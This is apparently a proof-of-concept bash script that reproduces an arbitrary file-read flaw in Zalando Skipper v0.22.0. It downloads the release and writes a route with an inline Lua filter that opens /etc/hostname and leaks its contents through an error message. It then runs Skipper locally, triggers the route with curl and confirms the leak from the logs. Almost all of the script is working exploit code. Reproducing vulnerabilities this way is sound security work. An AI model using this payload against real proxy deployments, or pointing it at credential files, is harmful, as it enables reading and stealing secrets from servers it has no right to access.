#!/usr/bin/env bash
set -euo pipefail

# --- setup paths ---
SCRIPT_PATH="$(realpath "$0")"
WORKSPACE="$(dirname "${SCRIPT_PATH}")/.."
WORKSPACE="$(realpath "${WORKSPACE}")"
LOG_DIR="${WORKSPACE}/logs"
TMP_DIR="${WORKSPACE}/tmp"
mkdir -p "${LOG_DIR}" "${TMP_DIR}"
RUN_LOG="${LOG_DIR}/reproduction.log"

exec > >(tee -a "${RUN_LOG}") 2>&1

echo "[INFO] Starting reproduction at $(date -u +%Y-%m-%dT%H:%M:%SZ)"

# --- ensure dependencies ---
REQUIRED_PACKAGES=()
for tool in curl tar grep lsof; do
  if ! command -v "${tool}" >/dev/null 2>&1; then
    case "${tool}" in
      curl) REQUIRED_PACKAGES+=("curl") ;;
      tar) REQUIRED_PACKAGES+=("tar") ;;
      grep) REQUIRED_PACKAGES+=("grep") ;;
      lsof) REQUIRED_PACKAGES+=("lsof") ;;
    esac
  fi
done

if [ ${#REQUIRED_PACKAGES[@]} -gt 0 ]; then
  # remove duplicate package names
  UNIQUE_PACKAGES=()
  for pkg in "${REQUIRED_PACKAGES[@]}"; do
    skip=false
    for existing in "${UNIQUE_PACKAGES[@]:-}"; do
      if [ "${existing}" = "${pkg}" ]; then
        skip=true
        break
      fi
    done
    if [ "${skip}" = false ]; then
      UNIQUE_PACKAGES+=("${pkg}")
    fi
  done
  echo "[INFO] Installing missing packages: ${UNIQUE_PACKAGES[*]}"
  export DEBIAN_FRONTEND=noninteractive
  apt-get update -y
  apt-get install -y --no-install-recommends "${UNIQUE_PACKAGES[@]}"
fi

# --- download vulnerable skipper ---
SKIPPER_VERSION="v0.22.0"
ARCHIVE_NAME="skipper-${SKIPPER_VERSION}-linux-amd64.tar.gz"
ARCHIVE_PATH="${TMP_DIR}/${ARCHIVE_NAME}"
DOWNLOAD_URL="https://github.com/zalando/skipper/releases/download/${SKIPPER_VERSION}/${ARCHIVE_NAME}"
EXTRACT_DIR="${TMP_DIR}/skipper-${SKIPPER_VERSION}-linux-amd64"

if [ ! -f "${ARCHIVE_PATH}" ]; then
  echo "[INFO] Downloading Skipper ${SKIPPER_VERSION}"
  curl -L "${DOWNLOAD_URL}" -o "${ARCHIVE_PATH}"
else
  echo "[INFO] Reusing downloaded archive ${ARCHIVE_PATH}"
fi

if [ ! -d "${EXTRACT_DIR}" ]; then
  echo "[INFO] Extracting Skipper binary"
  tar -xzf "${ARCHIVE_PATH}" -C "${TMP_DIR}"
else
  echo "[INFO] Reusing extracted Skipper directory"
fi

SKIPPER_BIN="${EXTRACT_DIR}/skipper"
if [ ! -x "${SKIPPER_BIN}" ]; then
  echo "[ERROR] Skipper binary not found at ${SKIPPER_BIN}"
  exit 1
fi

# --- prepare malicious inline lua route ---
ROUTE_FILE="${TMP_DIR}/inline-arbitrary-read.eskip"
cat > "${ROUTE_FILE}" <<'EOF'
inlineExfiltration: Path("/") -> lua("function request(ctx, params)\n  local file = io.open('/etc/hostname', 'r')\n  if file then\n    local token = file:read('*all')\n    file:close()\n    error('[EXFIL] ' .. token)\n  else\n    error('could not open target file')\n  end\nend") -> <shunt>;
EOF

echo "[INFO] Route file created at ${ROUTE_FILE}"

# --- run skipper with inline lua enabled (default) ---
PORT=10080
SKIPPER_LOG="${LOG_DIR}/skipper_inline.log"
REQUEST_LOG="${LOG_DIR}/request.log"
EXFIL_LOG="${LOG_DIR}/exfiltration.txt"

cleanup() {
  if [ -n "${SKIPPER_PID:-}" ] && kill -0 "${SKIPPER_PID}" 2>/dev/null; then
    kill "${SKIPPER_PID}" 2>/dev/null || true
    wait "${SKIPPER_PID}" 2>/dev/null || true
  fi
}
trap cleanup EXIT

if lsof -i TCP:${PORT} >/dev/null 2>&1; then
  echo "[ERROR] Port ${PORT} is already in use"
  exit 1
fi

echo "[INFO] Launching Skipper on port ${PORT}"
"${SKIPPER_BIN}" -address=":${PORT}" -routes-file "${ROUTE_FILE}" > "${SKIPPER_LOG}" 2>&1 &
SKIPPER_PID=$!

echo "[INFO] Skipper started with PID ${SKIPPER_PID}"
sleep 3

# --- trigger the malicious route ---
echo "[INFO] Sending HTTP request to trigger inline Lua"
set +e
HTTP_STATUS=$(curl -sk -o /dev/null -w "%{http_code}" "http://127.0.0.1:${PORT}/" | tee "${REQUEST_LOG}")
CURL_EXIT=$?
set -e

echo "[INFO] curl exit code: ${CURL_EXIT}, status: ${HTTP_STATUS}"

sleep 2
cleanup
trap - EXIT

if [ ! -f "${SKIPPER_LOG}" ]; then
  echo "[ERROR] Missing skipper log at ${SKIPPER_LOG}"
  exit 1
fi

if ! grep -q "\[EXFIL\]" "${SKIPPER_LOG}"; then
  echo "[ERROR] Did not observe exfiltration marker in skipper logs"
  tail -n 50 "${SKIPPER_LOG}"
  exit 1
fi

grep "\[EXFIL\]" "${SKIPPER_LOG}" | tail -n 1 > "${EXFIL_LOG}"
echo "[INFO] Exfiltration evidence written to ${EXFIL_LOG}"

printf "[SUCCESS] Inline Lua was able to read /etc/hostname and leak it via skipper logs.\n"
exit 0
